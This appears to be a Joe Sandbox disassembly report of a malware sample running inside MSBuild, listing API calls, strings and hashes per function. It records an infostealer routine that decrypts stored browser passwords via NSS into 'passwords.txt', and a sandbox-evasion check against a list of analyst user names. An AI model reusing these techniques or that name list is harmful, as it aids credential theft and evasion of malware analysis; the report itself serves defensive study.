GetProcessHeap.KERNEL32(00000000,00000000), ref: 0040DE93
HeapFree.KERNEL32(00000000), ref: 0040DE9A
GetProcessHeap.KERNEL32(00000008,?), ref: 0040DEA1
HeapAlloc.KERNEL32(00000000), ref: 0040DEA8
GetProcessHeap.KERNEL32(00000000,?), ref: 0040DEC3
HeapFree.KERNEL32(00000000), ref: 0040DECA
strcpy_s.MSVCRT ref: 0040DEDD
GetProcessHeap.KERNEL32(00000000,?), ref: 0040DEEF
HeapFree.KERNEL32(00000000), ref: 0040DEF6
lstrlenA.KERNEL32(00000000), ref: 0040DEFF
GetProcessHeap.KERNEL32(00000008,00000000), ref: 0040DF15
HeapAlloc.KERNEL32(00000000), ref: 0040DF1C
lstrlenA.KERNEL32(00000000), ref: 0040DF34

Part of subcall function 0040F128: std::_Xinvalid_argument.LIBCPMT ref: 0040F13E

strcpy_s.MSVCRT ref: 0040DF75
GetProcessHeap.KERNEL32(00000000,?,00000001,00000001), ref: 0040DF9B
HeapFree.KERNEL32(00000000), ref: 0040DFA8
lstrlenA.KERNEL32(?), ref: 0040DFAD
GetProcessHeap.KERNEL32(00000008,00000001), ref: 0040DFBC
HeapAlloc.KERNEL32(00000000), ref: 0040DFC3
GetProcessHeap.KERNEL32(00000000,?), ref: 0040DFD7
HeapFree.KERNEL32(00000000), ref: 0040DFDE
strcpy_s.MSVCRT ref: 0040DFEC
GetProcessHeap.KERNEL32(00000000,?), ref: 0040DFF9
HeapFree.KERNEL32(00000000), ref: 0040E000
GetProcessHeap.KERNEL32(00000000,?), ref: 0040E035
HeapFree.KERNEL32(00000000), ref: 0040E03C
GetProcessHeap.KERNEL32(00000008,?), ref: 0040E043
HeapAlloc.KERNEL32(00000000), ref: 0040E04A
strcpy_s.MSVCRT ref: 0040E065
GetProcessHeap.KERNEL32(00000000,?), ref: 0040E077
HeapFree.KERNEL32(00000000), ref: 0040E07E
GetProcessHeap.KERNEL32(00000000,?), ref: 0040E122
HeapFree.KERNEL32(00000000), ref: 0040E129
GetProcessHeap.KERNEL32(00000000,?), ref: 0040E173
HeapFree.KERNEL32(00000000), ref: 0040E17A

Part of subcall function 0040DB7F: strchr.MSVCRT ref: 0040DBF2
Part of subcall function 0040DB7F: lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0040DCF7), ref: 0040DC14
Part of subcall function 0040DB7F: GetProcessHeap.KERNEL32(00000008,-00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040DC21
Part of subcall function 0040DB7F: HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0040DCF7), ref: 0040DC28
Part of subcall function 0040DB7F: strcpy_s.MSVCRT ref: 0040DC6F

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$Process$Free$Allocstrcpy_s$lstrlen$strchr$Xinvalid_argumentstd::_
String ID:
API String ID: 838878465-0
Opcode ID: 12c6e981721dca9ee00ae836e2c316a31fc0c73e0feef3063dbd3d8e84c087b0
Instruction ID: a1b16978fbacbfd3e74ac1129a3438b354128d7bfc0331f05670ed845b0c740a
Opcode Fuzzy Hash: 12c6e981721dca9ee00ae836e2c316a31fc0c73e0feef3063dbd3d8e84c087b0
Instruction Fuzzy Hash: 2FE14C72C00219ABEF249FF1DC48ADEBF79BF08305F1454AAF115B3152EA3A59849F54

Function 6CAC55F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32,?,6CA9E1A5), ref: 6CAC5606
LoadLibraryW.KERNEL32(gdi32,?,6CA9E1A5), ref: 6CAC560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6CAC5633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6CAC563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6CAC566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6CAC567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6CAC5696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6CAC56B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6CAC56CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6CAC56E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6CAC56FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6CAC5716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6CAC572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6CAC5748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6CAC5761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6CAC577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6CAC5793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6CAC57A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6CAC57BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6CAC57D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6CAC57EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6CAC57FF

Strings

LoadCursorW, xrefs: 6CAC5774
CreateWindowExW, xrefs: 6CAC56C5
GetSystemMetricsForDpi, xrefs: 6CAC5677
AreDpiAwarenessContextsEqual, xrefs: 6CAC5637
GetThreadDpiAwarenessContext, xrefs: 6CAC562D
GetMonitorInfoW, xrefs: 6CAC57A2
GetDpiForWindow, xrefs: 6CAC5690
SetWindowLongPtrW, xrefs: 6CAC57B7
MonitorFromWindow, xrefs: 6CAC578D
LoadIconW, xrefs: 6CAC575B
RegisterClassW, xrefs: 6CAC56AC
ShowWindow, xrefs: 6CAC56DE
gdi32, xrefs: 6CAC560A
GetWindowDC, xrefs: 6CAC5710
user32, xrefs: 6CAC5601
ReleaseDC, xrefs: 6CAC5742
SetWindowPos, xrefs: 6CAC56F7
DeleteObject, xrefs: 6CAC57F9
FillRect, xrefs: 6CAC5729
CreateSolidBrush, xrefs: 6CAC57E4
StretchDIBits, xrefs: 6CAC57CC
EnableNonClientDpiScaling, xrefs: 6CAC5666

Memory Dump Source

Source File: 00000009.00000002.2667401382.000000006CA61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000009.00000002.2667367232.000000006CA60000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667674104.000000006CADD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667734306.000000006CAEE000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667763692.000000006CAF2000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6ca60000_MSBuild.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 6e2fd23df6807b5340760bad4a0c7444207bb2bc4876e8eb1428c8c1c61ef0ba
Instruction ID: b4bee85b2ac6ba5043825f8c175e81b04d3668664a4b2355984c3de046fe5a84
Opcode Fuzzy Hash: 6e2fd23df6807b5340760bad4a0c7444207bb2bc4876e8eb1428c8c1c61ef0ba
Instruction Fuzzy Hash: 60514E70B017039FDF445F35AD4C9273AB8AB0E244B148529B921E2A12EB70C882FFF5

Function 6CAACC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6CA7582D), ref: 6CAACC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6CA7582D), ref: 6CAACC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6CADFE98,?,?,?,?,?,6CA7582D), ref: 6CAACC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6CA7582D), ref: 6CAACC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6CA7582D), ref: 6CAACC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6CA7582D), ref: 6CAACC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6CA7582D), ref: 6CAACCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6CAACCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6CAACCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6CAACCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6CAACCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6CAACD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6CAACD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6CAACD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6CAACDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6CAACDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6CAACDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6CAACDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6CAACE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6CAACE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6CAACE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6CAACE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6CAACE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6CAACE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6CAACE8A

Strings

fileio, xrefs: 6CAACC92
markersallthreads, xrefs: 6CAACE42
leaf, xrefs: 6CAACC66
ipcmessages, xrefs: 6CAACDBE
power, xrefs: 6CAACE84
screenshots, xrefs: 6CAACCD4
noiostacks, xrefs: 6CAACCBE
fileioall, xrefs: 6CAACCA8
cpuallthreads, xrefs: 6CAACE16
unregisteredthreads, xrefs: 6CAACE58
stackwalk, xrefs: 6CAACCF8
preferencereads, xrefs: 6CAACD92
processcpu, xrefs: 6CAACE6E
mainthreadio, xrefs: 6CAACC7C
Unrecognized feature "%s"., xrefs: 6CAACEA0
default, xrefs: 6CAACC21
notimerresolutionchange, xrefs: 6CAACE00
nativeallocations, xrefs: 6CAACDA8
audiocallbacktracing, xrefs: 6CAACDD4
samplingallthreads, xrefs: 6CAACE2C
jsallocations, xrefs: 6CAACD0E
nostacksampling, xrefs: 6CAACD7C
java, xrefs: 6CAACC37
seqstyle, xrefs: 6CAACCE6

Memory Dump Source

Source File: 00000009.00000002.2667401382.000000006CA61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000009.00000002.2667367232.000000006CA60000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667674104.000000006CADD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667734306.000000006CAEE000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667763692.000000006CAF2000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6ca60000_MSBuild.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 37223a957346e82d4992f2d1029efd2b2d37ad57e5d8666730365d6ed7b5da13
Instruction ID: c52c0ac3e3ffdde3fb23af490ee4dad22e8b012f96f6c14b2d74c0ebfa04406a
Opcode Fuzzy Hash: 37223a957346e82d4992f2d1029efd2b2d37ad57e5d8666730365d6ed7b5da13
Instruction Fuzzy Hash: 0551A4E0A0522516FA0032D56E10BAB7504FB5624EF55543AED0AB7E80FF06B6CF46B7

Function 0040A916 Relevance: 63.2, APIs: 34, Strings: 2, Instructions: 211stringmemoryfileCOMMON

Download Yara Rule

APIs

NSS_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040A922

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,004373A4,0043680F), ref: 0040A9C1
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,?,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040A9D9
GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040A9E1
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040A9ED
??_U@YAPAXI@Z.MSVCRT(00000001,?,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040A9F7
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AA09
GetProcessHeap.KERNEL32(00000000,000F423F,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AA15
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AA1C
StrStrA.SHLWAPI(0040B824,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AA2D
StrStrA.SHLWAPI(-00000010,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AA47
lstrcatA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AA5A
lstrcatA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AA64
lstrcatA.KERNEL32(00000000,004373A8,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AA70
lstrcatA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AA7A
lstrcatA.KERNEL32(00000000,004373AC,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AA86
lstrcatA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AA93
lstrcatA.KERNEL32(00000000,-00000010,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AA9B
lstrcatA.KERNEL32(00000000,004373B0,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AAA7
StrStrA.SHLWAPI(-000000FE,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AAB7
StrStrA.SHLWAPI(00000014,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AAC7
lstrcatA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AADA

Part of subcall function 0040A7D8: _memset.LIBCMT ref: 0040A815
Part of subcall function 0040A7D8: lstrlenA.KERNEL32(?,00000001,?,?,00000000,00000000,00000000,00000000,00000014,?,0040AAE7), ref: 0040A830
Part of subcall function 0040A7D8: CryptStringToBinaryA.CRYPT32(?,00000000,?,00000001,?,?,00000000), ref: 0040A838
Part of subcall function 0040A7D8: PK11_GetInternalKeySlot.NSS3(?,00000000,?,00000001,?,?,00000000,00000000,00000000,00000000,00000014,?,0040AAE7), ref: 0040A846
Part of subcall function 0040A7D8: PK11_Authenticate.NSS3(00000000,00000001,00000000,?,00000000,?,00000001,?,?,00000000,00000000,00000000,00000000,00000014,?,0040AAE7), ref: 0040A85A
Part of subcall function 0040A7D8: PK11SDR_Decrypt.NSS3(?,?,00000000,?,00000000,00000000,00000000,00000000,00000014,?,0040AAE7), ref: 0040A89A
Part of subcall function 0040A7D8: _memmove.LIBCMT ref: 0040A8BB
Part of subcall function 0040A7D8: PK11_FreeSlot.NSS3(00000000,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040A8EC

lstrcatA.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AAE9
lstrcatA.KERNEL32(00000000,004373B4,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AAF5
StrStrA.SHLWAPI(-000000FE,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AB05
StrStrA.SHLWAPI(00000014,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AB15
lstrcatA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AB28

Part of subcall function 0040A7D8: lstrcatA.KERNEL32(00436803,00436807,?,00000000,00000000,00000000,00000000,00000014,?,0040AAE7), ref: 0040A8E5
Part of subcall function 0040A7D8: lstrcatA.KERNEL32(00436803,0043680E,?,00000000,?,00000001,?,?,00000000,00000000,00000000,00000000,00000014,?,0040AAE7), ref: 0040A8FB

lstrcatA.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AB37
lstrcatA.KERNEL32(00000000,004373B8,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AB43
lstrcatA.KERNEL32(00000000,004373BC,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AB4F
StrStrA.SHLWAPI(-000000FE,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AB5F
lstrlenA.KERNEL32(00000000), ref: 0040AB7D
CloseHandle.KERNEL32(?), ref: 0040ABAC
NSS_Shutdown.NSS3(?,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040ABB2

Strings

passwords.txt, xrefs: 0040AB89
pe, xrefs: 0040A931

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$File$lstrcpy$K11_lstrlen$HeapPointerSlot$AllocAuthenticateBinaryCloseCreateCryptDecryptFreeHandleInitInternalProcessReadShutdownSizeString_memmove_memset
String ID: passwords.txt$pe
API String ID: 2725232238-1761351166
Opcode ID: c3b03bc110983ebba0d3e17813285de3cea0876e63eb9e5f639305f650917e52
Instruction ID: bb405c3fe6dab9745a420b7b9db131a8dd9277349837b244c12cedf8ee63860a
Opcode Fuzzy Hash: c3b03bc110983ebba0d3e17813285de3cea0876e63eb9e5f639305f650917e52
Instruction Fuzzy Hash: 1A71A331500215ABCF15EFA1ED4DDDE3BBAEF4830AF101015F901A31A1EB7A5A55CBA6

Function 6CA74470 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA74730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6CA744B2,6CAEE21C,6CAEF7F8), ref: 6CA7473E
Part of subcall function 6CA74730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6CA7474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6CA744BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6CA744D2
InitOnceExecuteOnce.KERNEL32(6CAEF80C,6CA6F240,?,?), ref: 6CA7451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CA7455C
LoadLibraryW.KERNEL32(?), ref: 6CA74592
InitializeCriticalSection.KERNEL32(6CAEF770), ref: 6CA745A2
moz_xmalloc.MOZGLUE(00000008), ref: 6CA745AA
moz_xmalloc.MOZGLUE(00000018), ref: 6CA745BB
InitOnceExecuteOnce.KERNEL32(6CAEF818,6CA6F240,?,?), ref: 6CA74612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6CA74636
LoadLibraryW.KERNEL32(user32.dll), ref: 6CA74644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6CA7466D
VerSetConditionMask.NTDLL ref: 6CA7469F
VerSetConditionMask.NTDLL ref: 6CA746AB
VerSetConditionMask.NTDLL ref: 6CA746B2
VerSetConditionMask.NTDLL ref: 6CA746B9
VerSetConditionMask.NTDLL ref: 6CA746C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6CA746CD
GetModuleHandleW.KERNEL32(00000000), ref: 6CA746F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6CA746FD

Strings

NativeNtBlockSet_Write, xrefs: 6CA746F7
l, xrefs: 6CA74578
user32.dll, xrefs: 6CA74557, 6CA7463F
kernel32.dll, xrefs: 6CA744CD
WRusr.dll, xrefs: 6CA744B5

Memory Dump Source

Source File: 00000009.00000002.2667401382.000000006CA61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000009.00000002.2667367232.000000006CA60000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667674104.000000006CADD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667734306.000000006CAEE000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2667763692.000000006CAF2000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6ca60000_MSBuild.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3894940629
Opcode ID: cb4276767ac36fa5c5de5e3d1684786954954c81c9e65e4fc8a446944f11b913
Instruction ID: 70930c408c93f775c26f39885870840c870e1962fed9444d3cd00099c6c1d6ff
Opcode Fuzzy Hash: cb4276767ac36fa5c5de5e3d1684786954954c81c9e65e4fc8a446944f11b913
Instruction Fuzzy Hash: D161F1B4A00345AFEB248F65EC49BA57BB8FB4A708F08C55CE5049B641D7708AC6DFE0

Function 00424C67 Relevance: 42.1, APIs: 19, Strings: 5, Instructions: 109libraryloadermemoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL), ref: 00424C6F
__mtterm.LIBCMT ref: 00424C7B

Part of subcall function 0042493A: DecodePointer.KERNEL32(FFFFFFFF), ref: 0042494B
Part of subcall function 0042493A: TlsFree.KERNEL32(FFFFFFFF), ref: 00424965

GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 00424C91
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 00424C9E
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00424CAB
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 00424CB8
TlsAlloc.KERNEL32 ref: 00424D08
TlsSetValue.KERNEL32(00000000), ref: 00424D23
__init_pointers.LIBCMT ref: 00424D2D
EncodePointer.KERNEL32 ref: 00424D3E
EncodePointer.KERNEL32 ref: 00424D4B
EncodePointer.KERNEL32 ref: 00424D58
EncodePointer.KERNEL32 ref: 00424D65
DecodePointer.KERNEL32(Function_00024ABE), ref: 00424D86
__calloc_crt.LIBCMT ref: 00424D9B
DecodePointer.KERNEL32(00000000), ref: 00424DB5
__initptd.LIBCMT ref: 00424DC0
GetCurrentThreadId.KERNEL32 ref: 00424DC7

Strings

KERNEL32.DLL, xrefs: 00424C6A
FlsFree, xrefs: 00424CAD
FlsGetValue, xrefs: 00424C93
FlsSetValue, xrefs: 00424CA0
FlsAlloc, xrefs: 00424C8B

Memory Dump Source

Source File: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2631638237.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Pointer$AddressEncodeProc$Decode$AllocCurrentFreeHandleModuleThreadValue__calloc_crt__init_pointers__initptd__mtterm
String ID: FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$KERNEL32.DLL
API String ID: 3732613303-3819984048
Opcode ID: 400231f4d2ee880fb5ad432affc68df8e9701e5f7ec856bf935dccaa11612c1c
Instruction ID: 3bd1ea3895adf88180abbae7faa1e32913a11928da230e34625fa4b8b7d5b65a
Opcode Fuzzy Hash: 400231f4d2ee880fb5ad432affc68df8e9701e5f7ec856bf935dccaa11612c1c
Instruction Fuzzy Hash: CD313875E413609ACB23AF7ABC0861A3BA4EF85726B51063BE414D32B1DBB9C440CF4D

Function 00401927 Relevance: 36.8, APIs: 2, Strings: 19, Instructions: 56stringCOMMON

Download Yara Rule

APIs

GetUserNameA.ADVAPI32(?,?), ref: 00401A13
lstrcmpiA.KERNEL32(0043AC78,?), ref: 00401A2E

Strings

CurrentUser, xrefs: 0040194B
Miller, xrefs: 00401991
Peter Wilson, xrefs: 004019A5
HAPUBWS, xrefs: 00401969
virus, xrefs: 004019EB
John Doe, xrefs: 004019F5
milozs, xrefs: 0040199B
test user, xrefs: 004019E1
malware, xrefs: 004019CD
maltest, xrefs: 004019D7
timmy, xrefs: 004019AF
IT-ADMIN, xrefs: 0040197D
Sand box, xrefs: 00401955
Emily, xrefs: 0040195F
WDAGUtilityAccount, xrefs: 004019FF
Johnson, xrefs: 00401987
sandbox, xrefs: 004019C3
Hong Lee, xrefs: 00401973
user, xrefs: 004019B9

Memory Dump Source

